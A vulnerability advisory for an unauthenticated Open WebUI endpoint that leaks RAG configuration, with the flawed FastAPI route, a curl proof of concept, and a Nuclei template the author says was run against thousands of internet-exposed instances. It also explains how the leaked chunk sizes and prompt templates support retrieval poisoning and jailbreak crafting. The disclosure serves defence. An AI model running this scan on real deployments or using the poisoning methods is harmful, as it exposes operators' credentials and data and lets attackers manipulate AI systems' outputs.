Open WebUI - Unauthenticated RAG Configuration Disclosure (CVE-2026-45397)
A single unauthenticated GET to /api/v1/retrieval/ leaks Open WebUI's full RAG pipeline config — chunk sizes, templates, embedding and reranking models — because get_status() forgot the auth dependency its neighbours all have.

Summary
Open WebUI’s GET /api/v1/retrieval/ endpoint (get_status()) returns the full Retrieval-Augmented Generation pipeline configuration to any HTTP client — no session, no token, no role. Every adjacent endpoint in the same router guards itself with Depends(get_verified_user) or Depends(get_admin_user); this one route was declared with only request: Request and no user dependency, so FastAPI never runs an auth check before handing back the config.
The result is zero-effort reconnaissance: chunk parameters, the RAG template, and the exact embedding/reranking model names are disclosed to an anonymous attacker, who can then fingerprint the deployment and tailor retrieval-poisoning payloads to the disclosed chunk boundaries.
Vulnerability Info
| CVE | CVE-2026-45397 |
| Credit | Hesham Mahmoud Aka 0xRyuzak1 |
| Advisory | GHSA-65pg-qhhw-mxwg |
| Severity | Medium |
| CVSSv3.1 | 5.3 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Component | backend/open_webui/routers/retrieval.py — get_status() |
| Affected Version | Open WebUI < 0.9.5 |
| Patched Version | >= 0.9.5 |
| Auth Required | None — fully unauthenticated |
| Class | CWE-306: Missing Authentication for Critical Function |
Root Cause
The route handler at backend/open_webui/routers/retrieval.py:262 is declared without any user dependency:
@router.get('/')
async def get_status(request: Request): # <-- no Depends(...) — anyone can call it
return {
'status': True,
'chunk_size': request.app.state.config.CHUNK_SIZE,
'chunk_overlap': request.app.state.config.CHUNK_OVERLAP,
'template': request.app.state.config.RAG_TEMPLATE,
'embedding_engine': request.app.state.config.RAG_EMBEDDING_ENGINE,
'embedding_model': request.app.state.config.RAG_EMBEDDING_MODEL,
'reranking_model': request.app.state.config.RAG_RERANKING_MODEL,
'embedding_batch_size': request.app.state.config.RAG_EMBEDDING_BATCH_SIZE,
# ...
}
Contrast with its neighbours in the same router, which are all explicitly guarded:
@router.get('/embedding')
async def get_embedding_config(request: Request, user=Depends(get_admin_user)):
...
@router.get('/reranking')
async def get_reranking_config(request: Request, user=Depends(get_admin_user)):
...
In FastAPI, authentication is enforced by declaring the dependency as a parameter (user=Depends(get_verified_user)). Because get_status() never declares one, FastAPI wires up no auth call at all — the handler executes for every request. This is the textbook CWE-306 shape: not a broken check, a missing one, on exactly one route while its siblings got it right.
Exposed Information
A single request discloses the operational RAG configuration:
| Field | What it leaks |
|---|---|
chunk_size / chunk_overlap |
Retrieval segmentation boundaries — used to align poisoning payloads |
template (RAG_TEMPLATE) |
The system RAG prompt template, including any custom instructions |
embedding_engine |
Backend type (e.g. ollama, openai, local) |
embedding_model |
Exact embedding model name/version |
reranking_model |
Reranker model details |
embedding_batch_size / async |
Pipeline tuning, useful for fingerprinting |
Proof of Concept
No authentication header is required:
curl -s http://TARGET/api/v1/retrieval/
Example response:
{
"status": true,
"chunk_size": 1000,
"chunk_overlap": 100,
"template": "Use the following context...\n\nQuery: ",
"embedding_engine": "ollama",
"embedding_model": "nomic-embed-text:latest",
"reranking_model": "BAAI/bge-reranker-v2-m3",
"embedding_batch_size": 1
}
Why This Is a Vulnerability
When this was first reported, the developers didn’t immediately consider it a vulnerability. This section lays out the full impact and why an unauthenticated config endpoint is a genuine security defect — not just a cosmetic one.
1. RAG_TEMPLATE is sensitive by definition
The RAG_TEMPLATE field contains the actual system RAG prompt template used for every RAG query. Organizations embed proprietary logic, safety guardrails, and behavioral instructions directly in this template (e.g. “do not discuss [topic]”, custom formatting, business rules — and sometimes credentials). An unauthenticated external party retrieves all of it in a single HTTP request:
curl -s http://TARGET/api/v1/retrieval/
This is prompt exfiltration — one of the OWASP Top 10 for LLM Applications (LLM07:2025 — System Prompt Leakage), a well-documented confidentiality concern in AI systems. Many organizations treat their system prompts as intellectual property.
2. Model intelligence enables targeted attacks
RAG_EMBEDDING_ENGINE + RAG_EMBEDDING_MODEL + RAG_RERANKING_MODEL + RAG_CHUNK_OVERLAP + RAG_CHUNK_SIZE together reveal the exact AI stack. An attacker who knows you’re using, e.g., text-embedding-3-large with a specific reranker and specific chunk size / overlap can:
- Craft adversarial documents optimized for that model’s scoring function to manipulate retrieval results (RAG poisoning).
- Use known model-specific embedding-inversion techniques to reconstruct what data likely lives in your vector store.
- Abuse the chunk size and overlap to hide malicious content within chunk boundaries while poisoning retrieval, evading defensive systems.
3. The codebase itself proves this is an oversight
Every other configuration endpoint in retrieval.py requires get_admin_user:
| Endpoint | Auth |
|---|---|
GET /embedding |
Depends(get_admin_user) |
POST /embedding/update |
Depends(get_admin_user) |
GET /config |
Depends(get_admin_user) |
POST /config/update |
Depends(get_admin_user) |
GET / |
no auth |
GET / is the only config endpoint with no auth. This inconsistency demonstrates developer intent: all config should be admin-gated. The missing Depends(get_verified_user) is a defect, not a design choice.
Real-World Exposure — Nuclei + Shodan
As a PoC, I wrote the following Nuclei template and ran it across thousands of Open WebUI instances exposed worldwide (found via Shodan). Thousands of exposed sensitive templates were returned, containing multiple pieces of sensitive information — which I can’t include here for privacy, as many of them contained critical credentials.
id: openwebui-retrieval-api-exposure
info:
name: Open WebUI - Retrieval API Exposed
author: Hesham Mahmoud
severity: medium
description: Detects exposed Open WebUI instances via /api/v1/retrieval/ and extracts key configuration fields.
tags: openwebui,api,exposure,llm,rag
metadata:
shodan-query: 'http.title:"Open WebUI"'
http:
- method: GET
path:
- "/api/v1/retrieval/"
headers:
Accept: "application/json"
Content-Type: "application/json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "application/json"
- type: word
part: body
words:
- "embedding_engine"
- "chunk_size"
- "reranking_model"
condition: or
extractors:
- type: json
name: config
part: body
json:
- |
{
status: .status,
chunk_size: .chunk_size,
chunk_overlap: .chunk_overlap,
template: .template,
embedding_engine: .embedding_engine,
embedding_model: .embedding_model,
reranking_model: .reranking_model,
embedding_batch_size: .embedding_batch_size
}
| with_entries(select(.value != null and .value != "" and .value != 0))
After running this on a sample of Shodan IPs from around the world, I got thousands of hits exposing critical information — credentials, PII, system prompts, etc.

Impact
- Zero-effort reconnaissance — no credentials, no brute force; one GET reveals the RAG stack.
- Infrastructure fingerprinting — disclosed engine and model names identify the backend (Ollama/OpenAI/local) and narrow the attack surface for follow-up exploitation.
- Targeted retrieval poisoning — knowing
chunk_size/chunk_overlaplets an attacker craft documents whose malicious content lands cleanly inside a single retrieved chunk, maximising the odds it reaches the model context intact. - Prompt-template leakage — the exposed
RAG_TEMPLATEreveals custom instructions/guardrails that can be reasoned around when crafting jailbreak or injection inputs.